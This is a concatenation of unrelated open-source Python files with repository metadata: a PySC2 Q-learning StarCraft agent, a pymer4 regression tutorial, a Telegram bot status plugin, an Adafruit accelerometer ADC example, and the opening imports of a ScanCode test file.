import random import math import os.path import numpy as np import pandas as pd from pysc2.agents import base_agent from pysc2.lib import actions from pysc2.lib import features _NO_OP = actions.FUNCTIONS.no_op.id _SELECT_POINT = actions.FUNCTIONS.select_point.id _BUILD_SUPPLY_DEPOT = actions.FUNCTIONS.Build_SupplyDepot_screen.id _BUILD_BARRACKS = actions.FUNCTIONS.Build_Barracks_screen.id _TRAIN_MARINE = actions.FUNCTIONS.Train_Marine_quick.id _SELECT_ARMY = actions.FUNCTIONS.select_army.id _ATTACK_MINIMAP = actions.FUNCTIONS.Attack_minimap.id _HARVEST_GATHER = actions.FUNCTIONS.Harvest_Gather_screen.id _PLAYER_RELATIVE = features.SCREEN_FEATURES.player_relative.index _UNIT_TYPE = features.SCREEN_FEATURES.unit_type.index _PLAYER_ID = features.SCREEN_FEATURES.player_id.index _PLAYER_SELF = 1 _PLAYER_HOSTILE = 4 _ARMY_SUPPLY = 5 _TERRAN_COMMANDCENTER = 18 _TERRAN_SCV = 45 _TERRAN_SUPPLY_DEPOT = 19 _TERRAN_BARRACKS = 21 _NEUTRAL_MINERAL_FIELD = 341 _NOT_QUEUED = [0] _QUEUED = [1] _SELECT_ALL = [2] DATA_FILE = 'sparse_agent_data' ACTION_DO_NOTHING = 'donothing' ACTION_BUILD_SUPPLY_DEPOT = 'buildsupplydepot' ACTION_BUILD_BARRACKS = 'buildbarracks' ACTION_BUILD_MARINE = 'buildmarine' ACTION_ATTACK = 'attack' smart_actions = [ ACTION_DO_NOTHING, ACTION_BUILD_SUPPLY_DEPOT, ACTION_BUILD_BARRACKS, ACTION_BUILD_MARINE, ] for mm_x in range(0, 64): for mm_y in range(0, 64): if (mm_x + 1) % 32 == 0 and (mm_y + 1) % 32 == 0: smart_actions.append(ACTION_ATTACK + '_' + str(mm_x - 16) + '_' + str(mm_y - 16)) # Stolen from https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow class QLearningTable: def __init__(self, actions, learning_rate=0.01, reward_decay=0.9, e_greedy=0.9): self.actions = actions # a list self.lr = learning_rate self.gamma = reward_decay self.epsilon = e_greedy self.q_table = pd.DataFrame(columns=self.actions, dtype=np.float64) def choose_action(self, observation): self.check_state_exist(observation) if np.random.uniform() < self.epsilon: # choose best action state_action = self.q_table.ix[observation, :] # some actions have the same value state_action = state_action.reindex(np.random.permutation(state_action.index)) action = state_action.idxmax() else: # choose random action action = np.random.choice(self.actions) return action def learn(self, s, a, r, s_): self.check_state_exist(s_) self.check_state_exist(s) q_predict = self.q_table.ix[s, a] if s_ != 'terminal': q_target = r + self.gamma * self.q_table.ix[s_, :].max() else: q_target = r # next state is terminal # update self.q_table.ix[s, a] += self.lr * (q_target - q_predict) def check_state_exist(self, state): if state not in self.q_table.index: # append new state to q table self.q_table = self.q_table.append( pd.Series([0] * len(self.actions), index=self.q_table.columns, name=state)) class SparseAgent(base_agent.BaseAgent): def __init__(self): super(SparseAgent, self).__init__() self.qlearn = QLearningTable(actions=list(range(len(smart_actions)))) self.previous_action = None self.previous_state = None self.cc_y = None self.cc_x = None self.move_number = 0 if os.path.isfile(DATA_FILE + '.gz'): self.qlearn.q_table = pd.read_pickle(DATA_FILE + '.gz', compression='gzip') def transformDistance(self, x, x_distance, y, y_distance): if not self.base_top_left: return [x - x_distance, y - y_distance] return [x + x_distance, y + y_distance] def transformLocation(self, x, y): if not self.base_top_left: return [64 - x, 64 - y] return [x, y] def splitAction(self, action_id): smart_action = smart_actions[action_id] x = 0 y = 0 if '_' in smart_action: smart_action, x, y = smart_action.split('_') return (smart_action, x, y) def step(self, obs): super(SparseAgent, self).step(obs) if obs.last(): reward = obs.reward self.qlearn.learn(str(self.previous_state), self.previous_action, reward, 'terminal') self.qlearn.q_table.to_pickle(DATA_FILE + '.gz', 'gzip') self.previous_action = None self.previous_state = None self.move_number = 0 return actions.FunctionCall(_NO_OP, []) unit_type = obs.observation['screen'][_UNIT_TYPE] if obs.first(): player_y, player_x = (obs.observation['feature_minimap'][_PLAYER_RELATIVE] == _PLAYER_SELF).nonzero() self.base_top_left = 1 if player_y.any() and player_y.mean() <= 31 else 0 self.cc_y, self.cc_x = (unit_type == _TERRAN_COMMANDCENTER).nonzero() cc_y, cc_x = (unit_type == _TERRAN_COMMANDCENTER).nonzero() cc_count = 1 if cc_y.any() else 0 depot_y, depot_x = (unit_type == _TERRAN_SUPPLY_DEPOT).nonzero() supply_depot_count = int(round(len(depot_y) / 69)) barracks_y, barracks_x = (unit_type == _TERRAN_BARRACKS).nonzero() barracks_count = int(round(len(barracks_y) / 137)) if self.move_number == 0: self.move_number += 1 current_state = np.zeros(8) current_state[0] = cc_count current_state[1] = supply_depot_count current_state[2] = barracks_count current_state[3] = obs.observation['player'][_ARMY_SUPPLY] hot_squares = np.zeros(4) enemy_y, enemy_x = (obs.observation['feature_minimap'][_PLAYER_RELATIVE] == _PLAYER_HOSTILE).nonzero() for i in range(0, len(enemy_y)): y = int(math.ceil((enemy_y[i] + 1) / 32)) x = int(math.ceil((enemy_x[i] + 1) / 32)) hot_squares[((y - 1) * 2) + (x - 1)] = 1 if not self.base_top_left: hot_squares = hot_squares[::-1] for i in range(0, 4): current_state[i + 4] = hot_squares[i] if self.previous_action is not None: self.qlearn.learn(str(self.previous_state), self.previous_action, 0, str(current_state)) rl_action = self.qlearn.choose_action(str(current_state)) self.previous_state = current_state self.previous_action = rl_action smart_action, x, y = self.splitAction(self.previous_action) if smart_action == ACTION_BUILD_BARRACKS or smart_action == ACTION_BUILD_SUPPLY_DEPOT: unit_y, unit_x = (unit_type == _TERRAN_SCV).nonzero() if unit_y.any(): i = random.randint(0, len(unit_y) - 1) target = [unit_x[i], unit_y[i]] return actions.FunctionCall(_SELECT_POINT, [_NOT_QUEUED, target]) elif smart_action == ACTION_BUILD_MARINE: if barracks_y.any(): i = random.randint(0, len(barracks_y) - 1) target = [barracks_x[i], barracks_y[i]] return actions.FunctionCall(_SELECT_POINT, [_SELECT_ALL, target]) elif smart_action == ACTION_ATTACK: if _SELECT_ARMY in obs.observation['available_actions']: return actions.FunctionCall(_SELECT_ARMY, [_NOT_QUEUED]) elif self.move_number == 1: self.move_number += 1 smart_action, x, y = self.splitAction(self.previous_action) if smart_action == ACTION_BUILD_SUPPLY_DEPOT: if supply_depot_count < 2 and _BUILD_SUPPLY_DEPOT in obs.observation['available_actions']: if self.cc_y.any(): if supply_depot_count == 0: target = self.transformDistance(round(self.cc_x.mean()), -35, round(self.cc_y.mean()), 0) elif supply_depot_count == 1: target = self.transformDistance(round(self.cc_x.mean()), -25, round(self.cc_y.mean()), -25) return actions.FunctionCall(_BUILD_SUPPLY_DEPOT, [_NOT_QUEUED, target]) elif smart_action == ACTION_BUILD_BARRACKS: if barracks_count < 2 and _BUILD_BARRACKS in obs.observation['available_actions']: if self.cc_y.any(): if barracks_count == 0: target = self.transformDistance(round(self.cc_x.mean()), 15, round(self.cc_y.mean()), -9) elif barracks_count == 1: target = self.transformDistance(round(self.cc_x.mean()), 15, round(self.cc_y.mean()), 12) return actions.FunctionCall(_BUILD_BARRACKS, [_NOT_QUEUED, target]) elif smart_action == ACTION_BUILD_MARINE: if _TRAIN_MARINE in obs.observation['available_actions']: return actions.FunctionCall(_TRAIN_MARINE, [_QUEUED]) elif smart_action == ACTION_ATTACK: do_it = True if len(obs.observation['single_select']) > 0 and obs.observation['single_select'][0][0] == _TERRAN_SCV: do_it = False if len(obs.observation['multi_select']) > 0 and obs.observation['multi_select'][0][0] == _TERRAN_SCV: do_it = False if do_it and _ATTACK_MINIMAP in obs.observation["available_actions"]: x_offset = random.randint(-1, 1) y_offset = random.randint(-1, 1) return actions.FunctionCall(_ATTACK_MINIMAP, [_NOT_QUEUED, self.transformLocation(int(x) + (x_offset * 8), int(y) + (y_offset * 8))]) elif self.move_number == 2: self.move_number = 0 smart_action, x, y = self.splitAction(self.previous_action) if smart_action == ACTION_BUILD_BARRACKS or smart_action == ACTION_BUILD_SUPPLY_DEPOT: if _HARVEST_GATHER in obs.observation['available_actions']: unit_y, unit_x = (unit_type == _NEUTRAL_MINERAL_FIELD).nonzero() if unit_y.any(): i = random.randint(0, len(unit_y) - 1) m_x = unit_x[i] m_y = unit_y[i] target = [int(m_x), int(m_y)] return actions.FunctionCall(_HARVEST_GATHER, [_QUEUED, target]) return actions.FunctionCall(_NO_OP, [])

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119

0.602041

import random import math import os.path import numpy as np import pandas as pd from pysc2.agents import base_agent from pysc2.lib import actions from pysc2.lib import features _NO_OP = actions.FUNCTIONS.no_op.id _SELECT_POINT = actions.FUNCTIONS.select_point.id _BUILD_SUPPLY_DEPOT = actions.FUNCTIONS.Build_SupplyDepot_screen.id _BUILD_BARRACKS = actions.FUNCTIONS.Build_Barracks_screen.id _TRAIN_MARINE = actions.FUNCTIONS.Train_Marine_quick.id _SELECT_ARMY = actions.FUNCTIONS.select_army.id _ATTACK_MINIMAP = actions.FUNCTIONS.Attack_minimap.id _HARVEST_GATHER = actions.FUNCTIONS.Harvest_Gather_screen.id _PLAYER_RELATIVE = features.SCREEN_FEATURES.player_relative.index _UNIT_TYPE = features.SCREEN_FEATURES.unit_type.index _PLAYER_ID = features.SCREEN_FEATURES.player_id.index _PLAYER_SELF = 1 _PLAYER_HOSTILE = 4 _ARMY_SUPPLY = 5 _TERRAN_COMMANDCENTER = 18 _TERRAN_SCV = 45 _TERRAN_SUPPLY_DEPOT = 19 _TERRAN_BARRACKS = 21 _NEUTRAL_MINERAL_FIELD = 341 _NOT_QUEUED = [0] _QUEUED = [1] _SELECT_ALL = [2] DATA_FILE = 'sparse_agent_data' ACTION_DO_NOTHING = 'donothing' ACTION_BUILD_SUPPLY_DEPOT = 'buildsupplydepot' ACTION_BUILD_BARRACKS = 'buildbarracks' ACTION_BUILD_MARINE = 'buildmarine' ACTION_ATTACK = 'attack' smart_actions = [ ACTION_DO_NOTHING, ACTION_BUILD_SUPPLY_DEPOT, ACTION_BUILD_BARRACKS, ACTION_BUILD_MARINE, ] for mm_x in range(0, 64): for mm_y in range(0, 64): if (mm_x + 1) % 32 == 0 and (mm_y + 1) % 32 == 0: smart_actions.append(ACTION_ATTACK + '_' + str(mm_x - 16) + '_' + str(mm_y - 16)) class QLearningTable: def __init__(self, actions, learning_rate=0.01, reward_decay=0.9, e_greedy=0.9): self.actions = actions self.lr = learning_rate self.gamma = reward_decay self.epsilon = e_greedy self.q_table = pd.DataFrame(columns=self.actions, dtype=np.float64) def choose_action(self, observation): self.check_state_exist(observation) if np.random.uniform() < self.epsilon: state_action = self.q_table.ix[observation, :] state_action = state_action.reindex(np.random.permutation(state_action.index)) action = state_action.idxmax() else: action = np.random.choice(self.actions) return action def learn(self, s, a, r, s_): self.check_state_exist(s_) self.check_state_exist(s) q_predict = self.q_table.ix[s, a] if s_ != 'terminal': q_target = r + self.gamma * self.q_table.ix[s_, :].max() else: q_target = r self.q_table.ix[s, a] += self.lr * (q_target - q_predict) def check_state_exist(self, state): if state not in self.q_table.index: self.q_table = self.q_table.append( pd.Series([0] * len(self.actions), index=self.q_table.columns, name=state)) class SparseAgent(base_agent.BaseAgent): def __init__(self): super(SparseAgent, self).__init__() self.qlearn = QLearningTable(actions=list(range(len(smart_actions)))) self.previous_action = None self.previous_state = None self.cc_y = None self.cc_x = None self.move_number = 0 if os.path.isfile(DATA_FILE + '.gz'): self.qlearn.q_table = pd.read_pickle(DATA_FILE + '.gz', compression='gzip') def transformDistance(self, x, x_distance, y, y_distance): if not self.base_top_left: return [x - x_distance, y - y_distance] return [x + x_distance, y + y_distance] def transformLocation(self, x, y): if not self.base_top_left: return [64 - x, 64 - y] return [x, y] def splitAction(self, action_id): smart_action = smart_actions[action_id] x = 0 y = 0 if '_' in smart_action: smart_action, x, y = smart_action.split('_') return (smart_action, x, y) def step(self, obs): super(SparseAgent, self).step(obs) if obs.last(): reward = obs.reward self.qlearn.learn(str(self.previous_state), self.previous_action, reward, 'terminal') self.qlearn.q_table.to_pickle(DATA_FILE + '.gz', 'gzip') self.previous_action = None self.previous_state = None self.move_number = 0 return actions.FunctionCall(_NO_OP, []) unit_type = obs.observation['screen'][_UNIT_TYPE] if obs.first(): player_y, player_x = (obs.observation['feature_minimap'][_PLAYER_RELATIVE] == _PLAYER_SELF).nonzero() self.base_top_left = 1 if player_y.any() and player_y.mean() <= 31 else 0 self.cc_y, self.cc_x = (unit_type == _TERRAN_COMMANDCENTER).nonzero() cc_y, cc_x = (unit_type == _TERRAN_COMMANDCENTER).nonzero() cc_count = 1 if cc_y.any() else 0 depot_y, depot_x = (unit_type == _TERRAN_SUPPLY_DEPOT).nonzero() supply_depot_count = int(round(len(depot_y) / 69)) barracks_y, barracks_x = (unit_type == _TERRAN_BARRACKS).nonzero() barracks_count = int(round(len(barracks_y) / 137)) if self.move_number == 0: self.move_number += 1 current_state = np.zeros(8) current_state[0] = cc_count current_state[1] = supply_depot_count current_state[2] = barracks_count current_state[3] = obs.observation['player'][_ARMY_SUPPLY] hot_squares = np.zeros(4) enemy_y, enemy_x = (obs.observation['feature_minimap'][_PLAYER_RELATIVE] == _PLAYER_HOSTILE).nonzero() for i in range(0, len(enemy_y)): y = int(math.ceil((enemy_y[i] + 1) / 32)) x = int(math.ceil((enemy_x[i] + 1) / 32)) hot_squares[((y - 1) * 2) + (x - 1)] = 1 if not self.base_top_left: hot_squares = hot_squares[::-1] for i in range(0, 4): current_state[i + 4] = hot_squares[i] if self.previous_action is not None: self.qlearn.learn(str(self.previous_state), self.previous_action, 0, str(current_state)) rl_action = self.qlearn.choose_action(str(current_state)) self.previous_state = current_state self.previous_action = rl_action smart_action, x, y = self.splitAction(self.previous_action) if smart_action == ACTION_BUILD_BARRACKS or smart_action == ACTION_BUILD_SUPPLY_DEPOT: unit_y, unit_x = (unit_type == _TERRAN_SCV).nonzero() if unit_y.any(): i = random.randint(0, len(unit_y) - 1) target = [unit_x[i], unit_y[i]] return actions.FunctionCall(_SELECT_POINT, [_NOT_QUEUED, target]) elif smart_action == ACTION_BUILD_MARINE: if barracks_y.any(): i = random.randint(0, len(barracks_y) - 1) target = [barracks_x[i], barracks_y[i]] return actions.FunctionCall(_SELECT_POINT, [_SELECT_ALL, target]) elif smart_action == ACTION_ATTACK: if _SELECT_ARMY in obs.observation['available_actions']: return actions.FunctionCall(_SELECT_ARMY, [_NOT_QUEUED]) elif self.move_number == 1: self.move_number += 1 smart_action, x, y = self.splitAction(self.previous_action) if smart_action == ACTION_BUILD_SUPPLY_DEPOT: if supply_depot_count < 2 and _BUILD_SUPPLY_DEPOT in obs.observation['available_actions']: if self.cc_y.any(): if supply_depot_count == 0: target = self.transformDistance(round(self.cc_x.mean()), -35, round(self.cc_y.mean()), 0) elif supply_depot_count == 1: target = self.transformDistance(round(self.cc_x.mean()), -25, round(self.cc_y.mean()), -25) return actions.FunctionCall(_BUILD_SUPPLY_DEPOT, [_NOT_QUEUED, target]) elif smart_action == ACTION_BUILD_BARRACKS: if barracks_count < 2 and _BUILD_BARRACKS in obs.observation['available_actions']: if self.cc_y.any(): if barracks_count == 0: target = self.transformDistance(round(self.cc_x.mean()), 15, round(self.cc_y.mean()), -9) elif barracks_count == 1: target = self.transformDistance(round(self.cc_x.mean()), 15, round(self.cc_y.mean()), 12) return actions.FunctionCall(_BUILD_BARRACKS, [_NOT_QUEUED, target]) elif smart_action == ACTION_BUILD_MARINE: if _TRAIN_MARINE in obs.observation['available_actions']: return actions.FunctionCall(_TRAIN_MARINE, [_QUEUED]) elif smart_action == ACTION_ATTACK: do_it = True if len(obs.observation['single_select']) > 0 and obs.observation['single_select'][0][0] == _TERRAN_SCV: do_it = False if len(obs.observation['multi_select']) > 0 and obs.observation['multi_select'][0][0] == _TERRAN_SCV: do_it = False if do_it and _ATTACK_MINIMAP in obs.observation["available_actions"]: x_offset = random.randint(-1, 1) y_offset = random.randint(-1, 1) return actions.FunctionCall(_ATTACK_MINIMAP, [_NOT_QUEUED, self.transformLocation(int(x) + (x_offset * 8), int(y) + (y_offset * 8))]) elif self.move_number == 2: self.move_number = 0 smart_action, x, y = self.splitAction(self.previous_action) if smart_action == ACTION_BUILD_BARRACKS or smart_action == ACTION_BUILD_SUPPLY_DEPOT: if _HARVEST_GATHER in obs.observation['available_actions']: unit_y, unit_x = (unit_type == _NEUTRAL_MINERAL_FIELD).nonzero() if unit_y.any(): i = random.randint(0, len(unit_y) - 1) m_x = unit_x[i] m_y = unit_y[i] target = [int(m_x), int(m_y)] return actions.FunctionCall(_HARVEST_GATHER, [_QUEUED, target]) return actions.FunctionCall(_NO_OP, [])

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Python

examples/example_02_categorical.py

jcheong0428/pymer4

7e98fa28f5fdc01e8f786e381179c6b36067ef90

[ "MIT" ]

127

2017-06-02T16:49:38.000Z

2022-03-18T03:45:55.000Z

examples/example_02_categorical.py

jarrelscy/pymer4

248c25c0c17918c7a2ed61d86f42f7188e9aad94

[ "MIT" ]

90

2017-05-08T07:30:24.000Z

2022-03-29T18:26:18.000Z

examples/example_02_categorical.py

jarrelscy/pymer4

248c25c0c17918c7a2ed61d86f42f7188e9aad94

[ "MIT" ]

26

2017-11-23T17:41:49.000Z

2022-03-04T16:10:55.000Z

""" 2. Categorical Predictors ========================= """ ############################################################################### # The syntax for handling categorical predictors is **different** between standard regression models/two-stage-models (i.e. :code:`Lm` and :code:`Lm2`) and multi-level models (:code:`Lmer`) in :code:`pymer4`. This is because formula parsing is passed to R for :code:`Lmer` models, but handled by Python for other models. ############################################################################### # Lm and Lm2 Models # ----------------- # :code:`Lm` and :code:`Lm2` models use `patsy <https://patsy.readthedocs.io/en/latest/>`_ to parse model formulae. Patsy is very powerful and has built-in support for handling categorical coding schemes by wrapping a predictor in then :code:`C()` *within* the module formula. Patsy can also perform some pre-processing such as scaling and standardization using special functions like :code:`center()`. Here are some examples. # import basic libraries and sample data import os import pandas as pd from pymer4.utils import get_resource_path from pymer4.models import Lm # IV3 is a categorical predictors with 3 levels in the sample data df = pd.read_csv(os.path.join(get_resource_path(), "sample_data.csv")) ############################################################################### # Dummy-coded/Treatment contrasts # +++++++++++++++++++++++++++++++ # Estimate a model using Treatment contrasts (dummy-coding) # with '1.0' as the reference level # This is the default of the C() function model = Lm("DV ~ C(IV3, levels=[1.0, 0.5, 1.5])", data=df) print(model.fit()) ############################################################################### # Orthogonal Polynomial Contrasts # +++++++++++++++++++++++++++++++ # Patsy can do this using the Poly argument to the # C() function model = Lm("DV ~ C(IV3, Poly)", data=df) print(model.fit()) ############################################################################### # Sum-to-zero contrasts # +++++++++++++++++++++ # Similar to before but with the Sum argument model = Lm("DV ~ C(IV3, Sum)", data=df) print(model.fit()) ############################################################################### # Scaling/Centering # +++++++++++++++++ # Moderation with IV2, but centering IV2 first model = Lm("DV ~ center(IV2) * C(IV3, Sum)", data=df) print(model.fit()) ############################################################################### # Please refer to the `patsy documentation <https://patsy.readthedocs.io/en/latest/categorical-coding.html>`_ for more details when working categorical predictors in :code:`Lm` or :code:`Lm2` models. ############################################################################### # Lmer Models # ----------- # :code:`Lmer()` models currently have support for handling categorical predictors in one of three ways based on how R's :code:`factor()` works (see the note at the end of this tutorial): # # - Dummy-coded factor levels (treatment contrasts) in which each model term is the difference between a factor level and a selected reference level # - Orthogonal polynomial contrasts in which each model term is a polynomial contrast across factor levels (e.g. linear, quadratic, cubic, etc) # - Custom contrasts for each level of a factor, which should be provided in the manner expected by R. # # To make re-parameterizing models easier, factor codings are passed as a dictionary to the :code:`factors` argument of a model's :code:`.fit()`. This obviates the need for adjusting data-frame properties as in R. Note that this is **different** from :code:`Lm` and :code:`Lm2` models above which expect factor codings in their formulae (because patsy does). # # Each of these ways also enables you to easily compute post-hoc comparisons between factor levels, as well as interactions between continuous predictors and each factor level. See tutorial 3 for more on post-hoc tests. from pymer4.models import Lmer # We're going to fit a multi-level logistic regression using the # dichotomous DV_l variable and the same categorical predictor (IV3) # as before model = Lmer("DV_l ~ IV3 + (IV3|Group)", data=df, family="binomial") ############################################################################### # Dummy-coding factors # ++++++++++++++++++++ # First we'll use dummy-coding/treatment contrasts with 1.0 as the reference level. This will compute two coefficients: 0.5 > 1.0 and 1.5 > 1.0. print(model.fit(factors={"IV3": ["1.0", "0.5", "1.5"]})) ############################################################################### # Polynomial contrast coding # ++++++++++++++++++++++++++ # Second we'll use orthogonal polynomial contrasts. This is accomplished using the :code:`ordered=True` argument and specifying the order of the *linear* contrast in increasing order. R will automatically compute higher order polynomial contrats that are orthogonal to this linear contrast. In this example, since there are 3 factor levels this will result in two polynomial terms: a linear contrast we specify below corresponding to 0.5 < 1.0 < 1.5 and an orthogonal quadratic contrast automatically determined by R, corresponding to 0.5 > 1 < 1.5 print(model.fit(factors={"IV3": ["0.5", "1.0", "1.5"]}, ordered=True)) ############################################################################### # Custom contrasts # ++++++++++++++++ # :code:`Lmer` models can also take custom factor contrasts based on how they are expected by R (see the note at the end of this tutorial for how contrasts work in R). Remember that there can be at most k-1 model terms representing any k level factor without over-parameterizing a model. If you specify a custom contrast, R will generate set of orthogonal contrasts for the rest of your model terms. # Compare level '1.0' to the mean of levels '0.5' and '1.5' # and let R determine the second contrast orthogonal to it print(model.fit(factors={"IV3": {"1.0": 1, "0.5": -0.5, "1.5": -0.5}})) ############################################################################### # User-created contrasts (without R) # ++++++++++++++++++++++++++++++++++ # Another option available to you is fitting a model with *only* your desired contrast(s) rather than a full set of k-1 contrasts. Contrary to how statistics is usually taught, you don't ever *have to* include a full set of k-1 contrasts for a k level factor! The upside to doing this is that you won't need to rely on R to compute anything for you (aside from the model fit), and you will have a model with exactly the number of terms as contrasts you desire, giving you complete control. The downside is that post-hoc tests will no longer be available (see tutorial 3 for more information on post-hoc tests), but it's unlikely you're doing post-hoc tests if you are computing a subset of specific contrasts anyway. This is also a useful approach if you don't want to use patsy's formula syntax with :code:`Lm` and :code:`Lm2` as noted above. # # This can be accomplished by creating new columns in your dataframe to test specific hypotheses and is trivial to do with pandas `map <https://pandas.pydata.org/pandas-docs/version/0.25/reference/api/pandas.Series.map.html/>`_ and `assign <https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.assign.html/>`_ methods. For example, here we manually compute a linear contrast by creating a new column in our dataframe and treating it as a continuous variable. # Create a new column in the dataframe with a custom (linear) contrast df = df.assign(IV3_custom_lin=df["IV3"].map({0.5: -1, 1.0: 0, 1.5: 1})) print(df.head()) ############################################################################### # Now we can use this variable as a continuous predictor without the need for the :code:`factors` argument. Notice how the z-stat and p-value of the estimate are the same as the linear polynomial contrast estimated above. The coefficients differ in scale only because R uses [~-0.707, ~0, ~0.707] for its polynomial contrasts rather than [-1, 0, 1] like we did. # Estimate model model = Lmer( "DV_l ~ IV3_custom_lin + (IV3_custom_lin|Group)", data=df, family="binomial" ) print(model.fit()) ############################################################################### # A note on how contrasts in R work # --------------------------------- # .. note:: # This is just for folks curious about how contrasts in R work # # Specifying multiple custom contrasts in R has always been a point of confusion amongst users. This because the :code:`contrasts()` command in R doesn't actually expect contrast weights (i.e. a design matrix) as one would intuit. Rather, it is made for generating contrast coding schemes which are the inverse of the contrast weight matrix. For a longer explanation with examples see `this reference <https://rstudio-pubs-static.s3.amazonaws.com/65059_586f394d8eb84f84b1baaf56ffb6b47f.html>`_ and `this reference <https://github.com/ejolly/R/blob/master/Guides/Contrasts_in_R.md>`_. For these situations pymer4 offers a few utility functions to convert between these matrix types if desired in :code:`pymer4.utils`: :code:`R2con()` and :code:`con2R()`.

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py

Python

userbot/plugins/bot_stats.py

felapr1804/TechnoAyanBOT

74faac1aae1c350b0583a5e6405b414d6947162c

[ "MIT" ]

null

userbot/plugins/bot_stats.py

felapr1804/TechnoAyanBOT

74faac1aae1c350b0583a5e6405b414d6947162c

[ "MIT" ]

null

userbot/plugins/bot_stats.py

felapr1804/TechnoAyanBOT

74faac1aae1c350b0583a5e6405b414d6947162c

[ "MIT" ]

null

# @ayushk780 # Big Thanks To Spechide and @TechnoAyanBoT """Counth: Avaible commands: .bstats """ import asyncio from telethon import events from uniborg.util import admin_cmd, humanbytes,get_readable_time import shutil import time from userbot import botStartTime @borg.on(admin_cmd(pattern=r"bstats")) async def _(event): if event.fwd_from: return currentTime = get_readable_time((time.time() - botStartTime)) total, used, free = shutil.disk_usage('.') total = humanbytes(total) used = humanbytes(used) free = humanbytes(free) stats = f'Bot Uptime: {currentTime}\n' \ f'Total disk space: {total}\n' \ f'Used: {used}\n' \ f'Free: {free}' await event.edit(str(stats))

25.9

65

0.646075

import asyncio from telethon import events from uniborg.util import admin_cmd, humanbytes,get_readable_time import shutil import time from userbot import botStartTime @borg.on(admin_cmd(pattern=r"bstats")) async def _(event): if event.fwd_from: return currentTime = get_readable_time((time.time() - botStartTime)) total, used, free = shutil.disk_usage('.') total = humanbytes(total) used = humanbytes(used) free = humanbytes(free) stats = f'Bot Uptime: {currentTime}\n' \ f'Total disk space: {total}\n' \ f'Used: {used}\n' \ f'Free: {free}' await event.edit(str(stats))

true

790afb6e4dca3da075a86e2048b42967f34a0fb7

1,427

py

Python

Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py

IanSMoyes/SpiderPi

cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1

[ "Apache-2.0" ]

7

2021-03-15T10:06:20.000Z

2022-03-23T02:53:15.000Z

Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py

IanSMoyes/SpiderPi

cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1

[ "Apache-2.0" ]

5

2021-04-27T18:21:11.000Z

2021-05-02T14:17:14.000Z

Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py

IanSMoyes/SpiderPi

cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1

[ "Apache-2.0" ]

null

# SPDX-FileCopyrightText: 2021 ladyada for Adafruit Industries # SPDX-License-Identifier: MIT # Analog to digital converter example. # Will loop forever printing ADC channel 1 raw and mV values every second. # NOTE the ADC can only read voltages in the range of ~900mV to 1800mV! import time import board import busio import adafruit_lis3dh # Uncomment if using SPI # import digitalio # Hardware I2C setup. Use the CircuitPlayground built-in accelerometer if available; # otherwise check I2C pins. if hasattr(board, "ACCELEROMETER_SCL"): i2c = busio.I2C(board.ACCELEROMETER_SCL, board.ACCELEROMETER_SDA) lis3dh = adafruit_lis3dh.LIS3DH_I2C(i2c, address=0x19) else: i2c = busio.I2C(board.SCL, board.SDA) lis3dh = adafruit_lis3dh.LIS3DH_I2C(i2c) # Hardware SPI setup: # spi = busio.SPI(board.SCK, board.MOSI, board.MISO) # cs = digitalio.DigitalInOut(board.D5) # Set to correct CS pin! # lis3dh = adafruit_lis3dh.LIS3DH_SPI(spi, cs) # PyGamer I2C Setup: # i2c = busio.I2C(board.SCL, board.SDA) # lis3dh = adafruit_lis3dh.LIS3DH_I2C(i2c, address=0x19) # Loop forever printing ADC readings. while True: # Read raw ADC value. Specify which ADC to read: 1, 2, or 3. adc1_raw = lis3dh.read_adc_raw(1) # Or read the ADC value in millivolts: adc1_mV = lis3dh.read_adc_mV(1) print("ADC 1 = {} ({} mV)".format(adc1_raw, adc1_mV)) time.sleep(1)

32.431818

85

0.715487

import time import board import busio import adafruit_lis3dh if hasattr(board, "ACCELEROMETER_SCL"): i2c = busio.I2C(board.ACCELEROMETER_SCL, board.ACCELEROMETER_SDA) lis3dh = adafruit_lis3dh.LIS3DH_I2C(i2c, address=0x19) else: i2c = busio.I2C(board.SCL, board.SDA) lis3dh = adafruit_lis3dh.LIS3DH_I2C(i2c) adc1_raw = lis3dh.read_adc_raw(1) adc1_mV = lis3dh.read_adc_mV(1) print("ADC 1 = {} ({} mV)".format(adc1_raw, adc1_mV)) time.sleep(1)

true

790afb8cdb3bfff53ceaff937c98d36c80e733ff

79,390

py

Python

tests/textcode/test_analysis.py

pombredanne/scancode-toolkit

0d90a0498148997de94f92b00adf7e33079a41a8

[ "Apache-2.0", "CC0-1.0" ]

3

2015-07-01T15:08:33.000Z

2015-11-05T03:15:36.000Z

tests/textcode/test_analysis.py

pombredanne/scancode-toolkit

0d90a0498148997de94f92b00adf7e33079a41a8

[ "Apache-2.0", "CC0-1.0" ]

null

tests/textcode/test_analysis.py

pombredanne/scancode-toolkit

0d90a0498148997de94f92b00adf7e33079a41a8

[ "Apache-2.0", "CC0-1.0" ]

null

# # Copyright (c) 2015 nexB Inc. and others. All rights reserved. # http://nexb.com and https://github.com/nexB/scancode-toolkit/ # The ScanCode software is licensed under the Apache License version 2.0. # Data generated with ScanCode require an acknowledgment. # ScanCode is a trademark of nexB Inc. # # You may not use this software except in compliance with the License. # You may obtain a copy of the License at: http://apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software distributed # under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR # CONDITIONS OF ANY KIND, either express or implied. See the License for the # specific language governing permissions and limitations under the License. # # When you publish or redistribute any data created with ScanCode or any ScanCode # derivative work, you must accompany this data with the following acknowledgment: # # Generated with ScanCode and provided on an "AS IS" BASIS, WITHOUT WARRANTIES # OR CONDITIONS OF ANY KIND, either express or implied. No content created from # ScanCode should be considered or used as legal advice. Consult an Attorney # for any legal advice. # ScanCode is a free software code scanning tool from nexB Inc. and others. # Visit https://github.com/nexB/scancode-toolkit/ for support and download. from __future__ import absolute_import, print_function import json import os import codecs import cPickle from unittest.case import skipIf from commoncode.testcase import FileBasedTesting from textcode.analysis import DEFAULT_GAP from textcode.analysis import NO_GAP from textcode.analysis import InvalidGapError from textcode.analysis import UnbalancedTemplateError from textcode.analysis import Token from textcode.analysis import word_splitter from textcode.analysis import unigram_splitter from textcode.analysis import unigram_tokenizer from textcode.analysis import position_processor from textcode.analysis import template_splitter 